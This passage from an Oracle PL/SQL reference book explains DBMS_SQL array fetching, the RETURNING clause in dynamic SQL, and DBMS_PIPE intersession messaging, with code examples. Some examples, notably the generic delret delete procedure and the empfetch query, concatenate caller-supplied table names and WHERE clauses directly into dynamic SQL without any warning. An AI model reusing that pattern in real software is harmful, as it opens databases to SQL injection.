      /* Clean out the tables from the last usage. */
      empno_array.DELETE;
      ename_array.DELETE;
   END IF;

   /* Parse the query  with a dynamic WHERE clause */
   DBMS_SQL.PARSE (c,
      'SELECT empno, ename FROM emp WHERE ' || NVL (where_clause_in, '1=1'),
      DBMS_SQL.NATIVE);

   /* Define the columns in the cursor for this query */
   DBMS_SQL.DEFINE_ARRAY (c, 1, empno_array, numrows_in, v_start);
   DBMS_SQL.DEFINE_ARRAY (c, 2, ename_array, numrows_in, v_start);

   /* Execute the query and fetch the rows. */
   g_num_fetched:= DBMS_SQL.EXECUTE_AND_FETCH (c);

   /* Move the column values into the arrays */
   DBMS_SQL.COLUMN_VALUE (c, 1, empno_array);
   DBMS_SQL.COLUMN_VALUE (c, 2, ename_array);
END;

Areas of interest in this program include:

  • I set the starting row for the call to DEFINE_ARRAY according to the append_rows argument. If not appending, I clean out the arrays and start at row 1. If appending, I determine the highest-defined row in both of the arrays and start from the next row.

  • If the user does not provide a WHERE clause, I append a trivial "1=1" condition after the WHERE keyword. This is admittedly kludgy and little more than a reflection of this programmer's laziness. The alternative is to do more complex string analysis and concatenation.

  • Both calls to DBMS_SQL.DEFINE_ARRAY use the same number of rows and the starting row, ensuring that their contents are correlated properly.

  • I execute and fetch with a single line of code. When performing array processing, there is no reason to separate these two steps, unless you will be fetching N number of rows more than once to make sure you have gotten them all.

That takes care of most of the work and complexity of the empfetch package. Let's finish up by looking at the functions that retrieve individual values from the arrays. These are very simple pieces of code; I will show ename_val, but empno_val is almost exactly the same:

FUNCTION ename_val (row_in IN INTEGER) RETURN emp.ename%TYPE
IS
BEGIN
   IF ename_array.EXISTS (row_in)
   THEN
      RETURN ename_array (row_in);
   ELSE
      RETURN NULL;
   END IF;
END;

Notice that I avoid raising the NO_DATA_FOUND exception by checking whether the row exists before I try to return it.

As you can see from empfetch, it doesn't necessarily take lots of code to build a solid encapsulation around internal data structures. From the performance of this package, you can also see that array processing with dynamic SQL offers some new opportunities for building an efficient programmatic interface to your data.

2.5.6.5 Using array processing in dynamic PL/SQL

The first release of Oracle8 (8.0.3) contained a number of bugs relating to the use of array processing in dynamic PL/SQL. The 8.0.4 and 8.0.5 releases, however, fix many (if not all) of these problems. I offer in this section one example to demonstrate the techniques involved in order to copy the contents of one index table to another index table. You can find another example of array processing with index tables in the next section.

The following testarray procedure moves the rows of one index table to another.

 on companion disk: plsqlarray.sp */*
CREATE OR REPLACE PROCEDURE testarray
IS
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk INTEGER;
   mytab1 DBMS_SQL.NUMBER_TABLE;
   mytab2 DBMS_SQL.NUMBER_TABLE;
BEGIN
   mytab1 (25) := 100;
   mytab1 (100) := 1000;
   mytab2 (25) := -100;
   mytab2 (100) := -1000;
   DBMS_SQL.PARSE (cur, 'BEGIN :newtab := :oldtab; END;', DBMS_SQL.NATIVE);

   DBMS_SQL.BIND_ARRAY (cur, 'newtab', mytab2, 25, 100);
   DBMS_SQL.BIND_ARRAY (cur, 'oldtab', mytab1, 25, 100);

   fdbk := DBMS_SQL.EXECUTE (cur);
   DBMS_SQL.VARIABLE_VALUE (cur, 'newtab', mytab2);

   DBMS_OUTPUT.PUT_LINE('mytab2(1) := ' || mytab2(1));
   DBMS_OUTPUT.PUT_LINE('mytab2(2) := ' || mytab2(2));
   DBMS_OUTPUT.PUT_LINE('mytab2(25) := ' || mytab2(25));
   DBMS_OUTPUT.PUT_LINE('mytab2(100) := ' || mytab2(100));

   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

Notice that I must call DBMS_SQL.BIND_VARIABLE twice, once for the "IN" index table (the "old table," mytab1) and once for the "OUT" index table (the "new table," mytab2). Finally, I call DBMS_SQL.VARIABLE_VALUE to transfer the result of the assignment into my local index table.

Here are the results from execution of this procedure:

SQL> exec testarray
mytab2(1) := -1000
mytab2(2) := 100
mytab2(25) := -100
mytab2(100) := -1000

Ah! Not quite what we might have expected. This procedure did transfer the contents of mytab1 to mytab2, but it filled rows sequentially in mytab2 starting from row 1 -- definitely something to keep in mind when you take advantage of this technology. You might want to DELETE from the index table before the copy.

2.5.7 Using the RETURNING Clause in Dynamic SQL

One of the many enhancements in Oracle8 is the addition of the RETURNING clause to INSERTs, UPDATEs, and DELETEs. You can use the RETURNING clause to retrieve data (or expressions derived from the data) from the rows affected by the DML statement.

Here is an example of an INSERT statement that returns the just-generated primary key:

DECLARE
    mykey emp.empno%TYPE;
    total_comp NUMBER;
BEGIN
   INSERT INTO emp (empno, ename, deptno)
      VALUES (emp_seq.NEXTVAL, 'Feuerstein', 10)
      RETURNING empno, sal + NVL (comm, 0) INTO mykey, total_comp;
END;
/

You return data into scalar values when the DML has modified only one row. If the DML modifies more than one row, you can return data into index tables using DBMS_SQL. If you modify more than one row and try to return values into a scalar variable, then you will raise an exception, as follows:

SQL> DECLARE
        mykey emp.empno%TYPE;
     BEGIN
        /* Updating all rows in the table... */
        UPDATE emp SET sal = 1000 RETURNING empno INTO mykey;
     END;
     /

ERROR at line 1:
ORA-01422: exact fetch returns more than requested number of rows

If you are changing more than one row of data and employing the RETURNING clause, you must use DBMS_SQL to pass back those values into an index table. You cannot simply specify an index table in the RETURNING clause with static SQL. If you try this, you will receive the following error:

PLS-00385: type mismatch found at '<index table>' in SELECT...INTO statement

The rest of this section demonstrates the use of the RETURNING clause for both single- and multiple-row operations from within DBMS_SQL.

2.5.7.1 RETURNING from a single-row insert

Suppose that you want to insert a row into a table with the primary key generated from a sequence, and then return that sequence value to the calling program. In this example, I will create a table to hold notes (along with a sequence and an index, the latter to show the behavior when an INSERT fails):

/*Filename on companion disk: insret.sp */*
CREATE TABLE note (note_id NUMBER, text VARCHAR2(500));
CREATE UNIQUE INDEX note_text_ind ON note (text);
CREATE SEQUENCE note_seq;

I then build a procedure around the INSERT statement for this table:

/* Filename on companion disk: insret.sp */*
CREATE OR REPLACE PROCEDURE ins_note
   (text_in IN note.text%TYPE, note_id_out OUT note.note_id%TYPE)
IS
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk INTEGER;
   v_note_id note.note_id%TYPE;
BEGIN
   DBMS_SQL.PARSE (cur,
      'INSERT INTO note (note_id, text) ' ||
      '  VALUES (note_seq.NEXTVAL, :newtext) ' ||
      '  RETURNING note_id INTO :newid',
      DBMS_SQL.NATIVE);

   DBMS_SQL.BIND_VARIABLE (cur, 'newtext', text_in);
   DBMS_SQL.BIND_VARIABLE (cur, 'newid', v_note_id);

   fdbk := DBMS_SQL.EXECUTE (cur);
   DBMS_SQL.VARIABLE_VALUE (cur, 'newid', v_note_id);
   note_id_out := v_note_id;

   DBMS_SQL.CLOSE_CURSOR (cur);
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE ('Note insert failure:');
      DBMS_OUTPUT.PUT_LINE (SQLERRM);
END;
/

These operations should be familiar to you by this time. Here are the steps to perform:

  1. Open a cursor and then parse the INSERT statement. Notice that I reference the next value of the sequence right in the VALUES list. The RETURNING clause passes the primary key, note_id, into a placeholder.

  2. Bind both the incoming text value and the outgoing primary key. (I am not really binding a value in the second call to DBMS_SQL.BIND_VARIABLE, but I have to perform the bind step anyway.)

  3. Execute the cursor and retrieve the primary key from the bind variable in the RETURNING clause. Notice that I pass back the value into a local variable, which is then copied to the OUT argument. Otherwise, I would need to define the note_id_out parameter as an IN OUT parameter.

  4. I include an exception section to display any errors that might arise.

The following anonymous block tests this procedure by inserting a row and then trying to insert it again:

/* Filename on companion disk: insret.sp */*
DECLARE
   myid note.note_id%TYPE;
BEGIN
   ins_note ('Note1', myid);
   DBMS_OUTPUT.PUT_LINE ('New primary key = ' || myid);
   myid := NULL;
   ins_note ('Note1', myid);
EXCEPTION
   WHEN OTHERS
   THEN
      NULL;
END;
/

Here is the result:

SQL> @insret.sp
New primary key = 41

Note insert failure:
ORA-00001: unique constraint (SCOTT.NOTE_TEXT_IND) violated

The same technique and steps can be used for using the RETURNING clause in UPDATEs and DELETEs when affecting single rows. Let's now take a look at the slightly more complex scenario: changing multiple rows of data and returning values from those rows.

2.5.7.2 RETURNING from a multiple-row delete

I want to use dynamic SQL to provide a generic delete mechanism for tables with single integer primary keys. You provide the name of the table, the name of the primary key, and the WHERE clause. I do the delete. But such a general utility will never be used unless it can be trusted, unless its actions can be confirmed. That is where the RETURNING clause comes into play.

/* Filename on companion disk: delret.sp */*
CREATE OR REPLACE PROCEDURE delret
   (tab_in IN VARCHAR2,
    pkey_in IN VARCHAR2,
    where_in IN VARCHAR2,
    pkeys_out OUT DBMS_SQL.NUMBER_TABLE)
IS
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
   delstr VARCHAR2(2000) :=
      'DELETE FROM ' || tab_in || ' WHERE ' || where_in ||
      ' RETURNING ' || pkey_in || ' INTO :idarray';
   fdbk INTEGER;
   v_pkeys DBMS_SQL.NUMBER_TABLE;
BEGIN
   DBMS_OUTPUT.PUT_LINE ('Dynamic Delete Processing: ');
   DBMS_OUTPUT.PUT_LINE (delstr);

   DBMS_SQL.PARSE (cur, delstr, DBMS_SQL.NATIVE);
   DBMS_SQL.BIND_ARRAY (cur, 'idarray', v_pkeys);

   fdbk := DBMS_SQL.EXECUTE (cur);
   DBMS_SQL.VARIABLE_VALUE (cur, 'idarray', v_pkeys);
   pkeys_out := v_pkeys;

   DBMS_SQL.CLOSE_CURSOR (cur);
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE ('Dynamic Delete Failure:');
      DBMS_OUTPUT.PUT_LINE (SQLERRM);
END;
/

In this program, I construct the DELETE statement and save it to a local variable. I do this so that I can display the string for confirmation purposes and then parse it without duplicating the code. I will go to great lengths (and do so on a regular basis) to avoid even the slightest repetition of code.

When I bind, I call DBMS_SQL.BIND_ARRAY instead of DBMS_SQL.BIND_VARIABLE so that I can retrieve an entire list of values. My call to DBMS_SQL.VARIABLE_VARIABLE performs the retrieval, and I close the cursor. The following anonymous block exercises my generic "delete and return" procedure. Notice that since I am returning an index table, I must always declare such a table to hold the values.

/* Filename on companion disk: delret.sp */*
DECLARE
   v_pkeys DBMS_SQL.NUMBER_TABLE;
BEGIN
   delret ('emp', 'empno', 'deptno = 10', v_pkeys);
   IF v_pkeys.COUNT > 0
   THEN
      FOR ind IN v_pkeys.FIRST .. v_pkeys.LAST
      LOOP
         DBMS_OUTPUT.PUT_LINE ('Deleted ' || v_pkeys(ind));
      END LOOP;
   END IF;
   ROLLBACK;
END;
/

Here are the results from execution of the previous script:

Dynamic Delete Processing:
DELETE FROM emp WHERE deptno = 10 RETURNING empno INTO :idarray
Deleted 7782
Deleted 7839
Deleted 7934

Previous: 2.4 Tips on Using Dynamic SQL | Oracle Built-in Packages | Next: 3. Intersession Communication
2.4 Tips on Using Dynamic SQL | Book Index | 3. Intersession Communication
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] Intersession Communication

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 2.5 DBMS_SQL Examples Chapter 3 Next: 3.2 DBMS_ALERT: Broadcasting Alerts to Users

3. Intersession Communication

Contents:
DBMS_PIPE: Communicating Between Sessions
DBMS_ALERT: Broadcasting Alerts to Users

It seems that everything these days has something to do with communication. Messaging technologies are consequently receiving lots of attention, but they are nothing new for Oracle. Through the packages described in this chapter, Oracle has already provided mechanisms for communication between database sessions:

DBMS_PIPE

Using database pipes with DBMS_PIPE, an application can communicate with a service routine external to the database. Or, debuggers that capture PL/SQL errors can utilize the fact that DBMS_PIPE is asynchronous with database transactions, getting the errors logged whether the transaction issued a COMMIT or a ROLLBACK.

DBMS_ALERT

This package is a little different, in that it allows synchronous notification to multiple users that specific database events have occurred.

3.1 DBMS_PIPE: Communicating Between Sessions

The DBMS_PIPE package provides services that allow Oracle sessions connected to the same instance to communicate messages with each other without the need for a COMMIT. Sessions use DBMS_PIPE programs to pack data into a message buffer and then send the message to a memory area in the Oracle shared pool (the pipe), where another session can receive it and unpack the message data into local variables. The database pipes implemented by DBMS_PIPE are roughly modeled after UNIX pipes. Pipes may be private to the user or public, and can be written to, or read from, independent of database transactions.

The basic functionality that DBMS_PIPE introduces is the ability for Oracle sessions to communicate with each other. Before the existence of database pipes, users connected to an Oracle database could communicate or interact with each other only through the database. If users needed to somehow exchange information with each other, this had to be done by reading, writing, and committing data to tables (i.e., the database was itself the communications medium). This communications model suffers from the following problems:

  • It is transactional; it relies on COMMIT for users to see messages.

  • Communications are slow; they involve physical writing to disk.

  • There is limited capacity due to locking issues in message tables.

  • There are space management issues.

The database pipes introduced through the DBMS_PIPE package establish a fast, lightweight, memory-based, nontransactional mechanism of intersession communications.

The DBMS_PIPE package is most often used to provide an interface between sessions connected to an Oracle instance and service routines external to Oracle in the host operating environment. In this kind of application, the service routine connects to Oracle and listens for service requests on a specific database pipe. Sessions in the database request services by placing messages on the request pipe, and they receive data from the service routine on session-specific response pipes.

Other applications you might consider developing with DBMS_PIPE include:

  • Debuggers that place error messages into pipes

  • Auditing of security violations independent of transaction success

  • Transaction concentrators to multiplex many user transactions through a single session

  • Complex calculation servers to offload long or memory-intensive computations

  • Alerters that notify sessions of important events

An example of the last application has actually been built by Oracle as the DBMS_ALERT package (described later in this chapter), which makes extensive use of DBMS_PIPE programs to implement database alerts.

3.1.1 Getting Started with DBMS_PIPE

The DBMS_PIPE package is created when the Oracle database is installed. The dbmspipe.sql script (found in the built-in packages source code directory, as described in Chapter 1, Introduction) contain the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_PIPE for the package. Under Oracle7, no privileges are automatically granted on DBMS_PIPE. Under Oracle8, the EXECUTE_CATALOG_ROLE role is granted EXECUTE privilege on DBMS_PIPE. Thus, the DBMS_PIPE programs are not generally available to users.

3.1.1.1 DBMS_PIPE programs

Table 3.1 lists the programs included in the DBMS_PIPE package.

Table 3.1: DBMS_PIPE Programs
Name | Description | Use in SQL?
CREATE_PIPE | Creates a public or private pipe | Yes
NEXT_ITEM_TYPE | Returns datatype of next item in message buffer | Yes
PACK_MESSAGE | Packs item into message buffer | No
PACK_MESSAGE_RAW | Packs RAW item into message buffer | No
PACK_MESSAGE_ROWID | Packs ROWID item into message buffer | No
PURGE | Empties named pipe of all messages | No
RECEIVE_MESSAGE | Receives message from pipe into local buffer | Yes
REMOVE_PIPE | Removes the named pipe | Yes
RESET_BUFFER | Resets buffer message pointers | No
SEND_MESSAGE | Sends local message buffer out on pipe | Yes
UNIQUE_SESSION_NAME | Returns string unique to the session | Yes
UNPACK_MESSAGE | Unpacks item from message buffer | No
UNPACK_MESSAGE_RAW | Unpacks RAW item from message buffer | No
UNPACK_MESSAGE_ROWID | Unpacks ROWID item from message buffer | No

DBMS_PIPE does not declare any package exceptions of its own. Many of the individual programs raise Oracle exceptions under certain circumstances, as described in the following sections.

3.1.1.2 DBMS_PIPE nonprogram elements

The DBMS_PIPE package contains one nonprogram element, maxwait. It is defined as follows:

maxwait CONSTANT INTEGER := 86400000;

The maxwait constant is used as the default maximum time to wait for calls to the SEND_MESSAGE or RECEIVE_MESSAGE functions to complete. The units are in seconds, so the value of 86400000 equates to 1000 days.

3.1.2 How Database Pipes Work

It is important to understand how DBMS_PIPE implements the concept of a communications pipe between Oracle sessions -- and this implementation is not necessarily obvious.

3.1.2.1 Memory structures

The pipes themselves are named memory areas in the Oracle SGA's shared pool where communications messages can be written or read. DBMS_PIPE works through the interaction of these memory areas with a private memory buffer in each user's session. There is only one private memory buffer per user that is used to send and receive messages on database pipes. Private buffers can be thought of as "mailboxes" -- one for each user -- and the database pipes are like the "post office." The difference is that users are responsible for delivering and retrieving messages to and from the post office.[1]

[1] Dan Clamage (technical reviewer extraordinaire) points out that the single-session message buffer is actually implemented as a private global variable in the DBMS_PIPE package body. He laments, and I join him, that Oracle did not implement the ability to declare several message buffers of your own.

3.1.2.2 Nontransactional communications

One very important property of the DBMS_PIPE programs is that they are nontransactional. This means that they are not bound to the current database transaction, and they will succeed or fail independently of any COMMIT or ROLLBACK processing. Transaction independence is one reason why DBMS_PIPE is often used to implement debugging software, since problems in uncommitted transactions can still be logged into database pipes.

3.1.2.3 Pipe communications logic

The basic sequence of events for DBMS_PIPE-based communications, follows:

  • The sending user loads his private buffer with a "message," which can be composed of multiple items of various datatypes. This is done via successive calls to the PACK_MESSAGE procedure.

  • The sending user moves the message from the private buffer into the pipe with the SEND_MESSAGE function.

  • The receiving user pulls the message off the pipe into his private buffer using the RECEIVE_MESSAGE function.

  • The receiving user "unpacks" the message items into local variables using the UNPACK_MESSAGE procedure.

Figure 3.1 illustrates the architecture and basic logic of pipe-based communications.

Figure 3.1: . Sending messages between sessions through a database pipe

The post office analogy helps me keep in mind how DBMS_PIPE works. Think of the message as something physical (such as a postcard or letter) that moves from one user buffer (mailbox) into the pipe (post office), and then out of the pipe and into another session buffer (mailbox). The pipe itself acts like a first-in-first-out (FIFO) queue -- that is, messages are extracted in the order in which they are put in the queue. This understanding helps clear up the following common points of confusion:

Q: Is the message still in my buffer after calling up SEND_MESSAGE?

A: No, it physically left your session and went into the pipe.

Q: Can two users pull the same message from a pipe using RECEIVE_MESSAGE?

A: No, the first user to make the call has physically removed the message from the pipe.

Q: Can a user pull a specific message from a pipe using RECEIVE_MESSAGE?

A: No, the pipe will always return the next message in the queue.

NOTE: Note that Oracle8's Advanced Queuing features, covered in Chapter 5, Oracle Advanced Queuing, offer more sophisticated and robust messaging capabilities, which may be used instead of database pipes for more complex applications.

3.1.3 Managing Pipes and the Message Buffer

Use DBMS_PIPE's CREATE_PIPE, REMOVE_PIPE, RESET_PIPE, RESET_BUFFER, PURGE, and UNIQUE_SESSION_NAME programs to create and remove pipes and to perform some additional pipe management operations.

3.1.3.1 The DBMS_PIPE.CREATE_PIPE function

The CREATE_PIPE function is used to create a new public or private named database pipe. Note that database pipes can also be created implicitly by the SEND_MESSAGE function. Here's the header for this function:

FUNCTION DBMS_PIPE.CREATE_PIPE
   (pipename IN VARCHAR2
   ,maxpipesize IN INTEGER DEFAULT 8192
   ,private IN BOOLEAN DEFAULT TRUE)
RETURN INTEGER;

Parameters are summarized in the following table.

Name | Description
pipename | Name of the database pipe
maxpipesize | Maximum size in bytes of the pipe
private | TRUE means pipe is private to user

3.1.3.1.1 Return values

The CREATE_PIPE procedure has a single return value of 0, indicating success. This value is returned even if the pipe already existed and can be used by the user.

3.1.3.1.2 Exceptions

The program does not raise any package exceptions. The following Oracle exceptions are raised if the user attempts to create a pipe that already exists and is private to another user or uses a NULL pipename:

Number | Description
ORA-23322 | Insufficient privileges to access pipe
ORA-23321 | Pipename may not be NULL

3.1.3.1.3 Restrictions

Note the following restrictions on calling CREATE_PIPE:

  • Pipenames are limited to 128 byes in length, are case-insensitive, and cannot contain NLS characters.

  • Pipenames must not begin with "ORA$", as these names are reserved for use by Oracle Corporation.

3.1.3.1.4 Example

This example is a function that encapsulates CREATE_PIPE and returns either the Boolean value TRUE, indicating that the pipe can be used by the caller, or FALSE otherwise. The function traps the ORA-23322 exception using PRAGMA EXCEPTION_INIT and returns FALSE if this exception is raised.

The makepipe function can be found in the dbpipe package discussed in the "Section 3.1.7, "DBMS_PIPE Examples"" section. It is created by the dbpipe.sql script.

/* Filename on companion disk:  dbpipe.sql */*
PACKAGE BODY dbpipe
IS
   cannot_use_pipe   EXCEPTION;
   PRAGMA EXCEPTION_INIT(cannot_use_pipe,-23322);
   null_pipename   EXCEPTION;
   PRAGMA EXCEPTION_INIT(null_pipename,-23321);

   /*
   || encapsulates DBMS_PIPE.CREATE_PIPE and returns
   || FALSE if ORA-23322 is raised indicating
   || the pipename is already used and not accessible
   || to the caller
   */
   FUNCTION makepipe
      (pipename_IN IN VARCHAR2
      ,maxsize_bytes_IN IN INTEGER DEFAULT 8192
      ,private_IN IN BOOLEAN DEFAULT TRUE)
   RETURN BOOLEAN
   IS
      call_status  INTEGER;

   BEGIN
      call_status := DBMS_PIPE.CREATE_PIPE
                        (pipename_IN
                        ,maxsize_bytes_IN
                        ,private_IN);
      RETURN call_status = 0;
   EXCEPTION
      WHEN cannot_use_pipe OR null_pipename
      THEN
         RETURN FALSE;
   END makepipe;

END dbpipe;

The CREATE_PIPE function creates a private pipe by default. Private pipes may be used only by sessions connected to the same username (schema) as the pipe's creator or executing stored PL/SQL programs owned by that schema. Public pipes may be accessed by all sessions with execute privileges on DBMS_PIPE. Note that CREATE_PIPE is the only way to create a private database pipe. Pipes created implicitly by the SEND_MESSAGE function are always public.

Pipes created using CREATE_PIPE should be explicitly removed using the REMOVE_PIPE function.

Database pipes are empty upon creation. However, if the named database pipe already exists and is available to the user calling CREATE_PIPE, the function will return 0, but the pipe is not emptied. Avoid writing code that assumes that a successful call to CREATE_PIPE results in an empty pipe.

The maxpipesize parameter of CREATE_PIPE determines the maximum size in memory of the database pipe. This places a limit both on the amount of Oracle shared pool memory and on the maximum size of all messages the pipe can hold at any time. When designing applications that use database pipes, it is important to estimate the number and the size of the messages that the pipe will need to contain, so that maxpipesize can be determined. Basically, the objective is to size the pipe as small as possible while making sure that there is plenty of room to handle anticipated message traffic. Note that after creation, a pipe's maximum size can be increased using the SEND_MESSAGE function or by destroying and recreating the pipe.

3.1.3.2 The DBMS_PIPE.REMOVE_PIPE function

The REMOVE_PIPE function is used to destroy a database pipe and free the memory used by the pipe back to the Oracle shared pool. The header for this program is:

FUNCTION DBMS_PIPE.REMOVE_PIPE
    (pipename IN VARCHAR2)
RETURN INTEGER;

where the pipename is the name of the database pipe to be removed.

3.1.3.2.1 Return values

The REMOVE_PIPE procedure has a single return value of 0, indicating success. This value is returned even if the pipe did not exist.

3.1.3.2.2 Exceptions

The program does not raise any package exceptions. The following Oracle exceptions are raised if the user attempts to remove a pipe belonging to another user or passes a NULL pipename:

Number | Description
ORA-23322 | Insufficient privileges to access pipe
ORA-23321 | Pipename may not be NULL

3.1.3.2.3 Restrictions

Pipenames must not begin with "ORA$" as these names are reserved for use by Oracle Corporation.

3.1.3.2.4 Example

This example is a function that encapsulates REMOVE_PIPE and returns the Boolean value TRUE indicating that the pipe was successfully removed (or did not exist) or FALSE indicating that the pipe exists but cannot be removed by the caller. The function traps the ORA-23322 error using PRAGMA EXCEPTION_INIT and returns FALSE if this exception is raised.

The closepipe function can be found in the dbpipe package discussed in the "Section 3.1.7" section and defined in the dbpipe.sql script.

/* Filename on companion disk:  dbpipe.sql */*
PACKAGE BODY dbpipe
IS
   cannot_use_pipe   EXCEPTION;
   PRAGMA EXCEPTION_INIT(cannot_use_pipe,-23322);
   null_pipename   EXCEPTION;
   PRAGMA EXCEPTION_INIT(null_pipename,-23321);
   /*
   || encapsulates DBMS_PIPE.REMOVE_PIPE and returns
   || FALSE if ORA-23322 is raised indicating
   || the pipename exists and is not removable
   || by the caller
   */
   FUNCTION closepipe
      (pipename_IN IN VARCHAR2)
   RETURN BOOLEAN
   IS
      call_status  INTEGER;

   BEGIN
      call_status := DBMS_PIPE.REMOVE_PIPE(pipename_IN);
      RETURN (call_status = 0);

   EXCEPTION
      WHEN cannot_use_pipe OR null_pipename
      THEN
         RETURN FALSE;
   END closepipe;

END dbpipe;

NOTE: It is good practice to remove pipes explicitly when they are no longer needed. This can sometimes be difficult, since database pipes are typically shared by multiple sessions, so it is hard to know when they can be removed. Empty pipes that have not been removed will eventually be aged out of the shared pool by Oracle.

3.1.3.3 The DBMS_PIPE.RESET_BUFFER procedure

The DBMS_PIPE.RESET_BUFFER procedure resets the session message buffer's internal pack and unpack indicators, effectively discarding the contents of the buffer. The header for this procedure follows:

PROCEDURE DBMS_PIPE.RESET_BUFFER;

The program does not raise any package exceptions.

3.1.3.3.1 Example

This example shows the use of RESET_BUFFER at the beginning of a program that packs a PL/SQL record into a message.

The pack_send_request procedure can be found in the pipesvr package discussed in the "Section 3.1.7" section. The following code has been excerpted from that example package:

/* Filename on companion disk: pipesvr.sql */*
PROCEDURE pack_send_request
   (request_rec_IN IN request_rectype
   ,return_code_OUT OUT NUMBER)
IS
BEGIN
   /* discard any previous unsent message items */
   DBMS_PIPE.RESET_BUFFER;

   /* pack message in standard order */
   DBMS_PIPE.PACK_MESSAGE(request_protocol);
   DBMS_PIPE.PACK_MESSAGE(request_rec_IN.response_pipe);
   DBMS_PIPE.PACK_MESSAGE(request_rec_IN.service);

   /*
   || send message to request pipe nowait
   */
   return_code_OUT := DBMS_PIPE.SEND_MESSAGE
                        (pipename => request_pipe
                        ,timeout  => 0);
END pack_send_request;

Oracle advises that the RESET_BUFFER procedure should not generally be needed. I make sure, however, to use it in the following places:

  • Exception handlers of programs using UNPACK_MESSAGE procedures

  • At the beginning of programs designed to pack specific messages into the buffer using PACK_MESSAGE procedures

In handling unpack exceptions, it is safe practice to initialize the message buffer after an unexpected item type is encountered. When packing messages, it is important to be sure that only the intended message items are packed into the buffer. By resetting the message buffer, programs can protect themselves from sending any previously packed but unsent message items.

3.1.3.4 The DBMS_PIPE.PURGE procedure

The PURGE procedure empties the named pipe of all messages. The header for this procedure is,

PROCEDURE DBMS_PIPE.PURGE
   (pipename IN VARCHAR2);

where the pipename parameter is the name of the database pipe to be emptied.

3.1.3.4.1 Exceptions

The program does not raise any package exceptions. The following Oracle exceptions are raised if the user attempts to purge a pipe belonging to another user or passes a NULL pipename:

Number | Description
ORA-23322 | Insufficient privileges to access pipe
ORA-23321 | Pipename may not be NULL

3.1.3.4.2 Restrictions

Note the following restrictions on calling PURGE:

  • Pipenames are limited to 128 bytes in length, are case-insensitive, and cannot contain NLS characters.

  • Pipenames must not begin with "ORA$", as these names are reserved for use by Oracle Corporation.

3.1.3.4.3 Example

This example shows a procedure that will purge all pipes to which the calling user has access. The purge_all_pipes procedure can be found in the dbpipe package discussed in "Section 3.1.7." You will need SELECT privilege on SYS.V_$DB_PIPES to create the package.

/* Filename on companion disk: dbpipe.sql */*
PACKAGE BODY dbpipe
IS
   cannot_use_pipe   EXCEPTION;
   PRAGMA EXCEPTION_INIT(cannot_use_pipe,-23322);

   PROCEDURE purge_all_pipes
   IS
      /* gets names of all pipes */
      CURSOR all_pipes_cur
      IS
      SELECT name
        FROM sys.v_$db_pipes;

   BEGIN
      FOR all_pipes_rec IN all_pipes_cur
      LOOP
         BEGIN
            DBMS_PIPE.PURGE(all_pipes_rec.name);

         /* ignore cannot_use_pipe exception */
         EXCEPTION
            WHEN cannot_use_pipe
            THEN
               null;
            WHEN OTHERS
            THEN
               RAISE;
         END;
      END LOOP;
   END purge_all_pipes;

END dbpipe;

Emptying a pipe using PURGE releases the SGA memory associated with the pipe. Oracle can then reclaim this memory for other uses based on normal least-recently-used (LRU) aging of the shared pool.

WARNING: Pipes that are not in use, but still have unpurged messages in them, waste SGA memory because they cannot be aged out of the shared pool. Very large pipes in this condition can lead to serious database performance problems.

Note also that calling PURGE may cause the user session's message buffer to be overwritten by messages discarded from the pipe. Be sure to send any message packed in the session buffer prior to calling PURGE. Expert technical reviewer Dan Clamage points out that this is because the implementation of PURGE is "to simply do RECEIVE_MESSAGE with timeout = 0 until the pipe is empty."

The PURGE procedure will implicitly create a public pipe of the given name if one does not already exist. This is somewhat nonintuitive, in that emptying a nonexistent pipe causes a new empty pipe to exist.

3.1.3.5 The DBMS_PIPE.UNIQUE_SESSION_NAME function

The UNIQUE_SESSION_NAME function returns a string value that is constant for a given session and unique among all sessions currently connected to the database. Here's the header for this program:

FUNCTION DBMS_PIPE.UNIQUE_SESSION_NAME
RETURN VARCHAR2;

The program does not raise any package exceptions.

3.1.3.5.1 Example

This example creates a pipe with a name unique to the session for receiving messages intended specifically for this session.

DECLARE
   /*
   || declare and initialize my_pipename variable with
   || string unique to session
   */
   my_pipename VARCHAR2(128) := DBMS_PIPE.UNIQUE_SESSION_NAME;

   call_status INTEGER;

BEGIN
   /*
   || create pipe as public so anyone can send message to it
   */
   call_status := DBMS_PIPE.CREATE_PIPE
                     (pipename => my_pipename
                     ,private => FALSE);
END;

Applications in which user sessions receive messages on database pipes usually create a unique pipe for each session to use. This helps ensure that sessions get only messages intended for them. As illustrated in the previous example, UNIQUE_SESSION_NAME is often used to generate pipe names that are unique to the session.

3.1.4 Packing and Unpacking Messages

The PACK_MESSAGE, PACK_MESSAGE_RAW, PACK_MESSAGE_ROWID, UNPACK_MESSAGE, UNPACK_MESSAGE_RAW, UNPACK_MESSAGE_ROWID, and NEXT_ITEM_TYPE programs are used to pack messages into your session's local message buffer and unpack them from this buffer.

3.1.4.1 The DBMS_PIPE.PACK_MESSAGE procedure

The PACK_MESSAGE procedure is used to pack items of datatypes VARCHAR2, NUMBER, or DATE into the user's session's local message buffer. The header for this program follows:

PROCEDURE DBMS_PIPE.PACK_MESSAGE
    (item IN VARCHAR2 | NUMBER | DATE);

Note that you must specify VARCHAR2 or NUMBERor DATE.

In Oracle8, the VARCHAR2 version of PACK_MESSAGE is somewhat different, as follows:

PROCEDURE DBMS_PIPE.PACK_MESSAGE
    (item IN VARCHAR2 CHARACTER SET ANY_CS);

The item parameter is the message of the particular type that is packed into the message buffer.

3.1.4.1.1 Exceptions

The program does not raise any package exceptions. The Oracle.06558 Oracle exception is raised if the message buffer becomes full and no more items can be packed.

3.1.4.1.2 Restrictions

Note that the user session message buffer is limited to 4096 bytes.

3.1.4.1.3 Example

The following example creates a procedure to pack and send a PL/SQL record to a database pipe. Notice the overloading of PACK_MESSAGE, which packs items of different datatypes into the local message buffer using the same procedure call.

